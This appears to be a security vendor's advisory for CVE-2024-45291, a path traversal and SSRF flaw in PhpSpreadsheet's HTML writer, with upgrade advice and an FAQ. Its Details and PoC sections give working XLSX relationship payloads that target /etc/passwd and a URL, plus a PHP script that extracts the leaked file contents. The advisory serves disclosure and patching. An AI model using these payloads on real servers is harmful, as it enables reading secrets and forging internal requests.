Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Details
XLSX files allow embedding or linking media. When
In xl/drawings/drawing1.xml an attacker can do e.g.:
<a:blip cstate="print" r:link="rId1" />
And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="/etc/passwd" />
or
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://example.org" />
When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
$picture = @file_get_contents($filename);
if ($picture !== false) {
$imageDetails = getimagesize($filename) ?: ['mime' => ''];
// base64 encode the binary data
$base64 = base64_encode($picture);
$imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
}
}
$html .= '<img style="position: absolute; z-index: 1; left: '
. $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
. $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
. $imageData . '" alt="' . $filedesc . '" />';
PoC
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));
Add this file in the same directory:
book.xlsx
Run with:php index.php
Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2024-45291 has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0, 1.29.2, 2.1.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
phpoffice/phpspreadsheet to 2.3.0 or later; phpoffice/phpspreadsheet to 1.29.2 or later; phpoffice/phpspreadsheet to 2.1.1 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-45291? CVE-2024-45291 is a medium-severity path traversal vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 2.2.0, < 2.3.0. It is fixed in 2.3.0, 1.29.2, 2.1.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2024-45291? CVE-2024-45291 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2024-45291?
phpoffice/phpspreadsheet(composer) (versions >= 2.2.0, < 2.3.0)phpoffice/phpexcel(composer) (versions <= 1.8.2)
- Is there a fix for CVE-2024-45291? Yes. CVE-2024-45291 is fixed in 2.3.0, 1.29.2, 2.1.1. Upgrade to this version or later.
- Is CVE-2024-45291 exploitable, and should I be worried? Whether CVE-2024-45291 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-45291 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-45291?
- Upgrade
phpoffice/phpspreadsheetto 2.3.0 or later - Upgrade
phpoffice/phpspreadsheetto 1.29.2 or later - Upgrade
phpoffice/phpspreadsheetto 2.1.1 or later
- Upgrade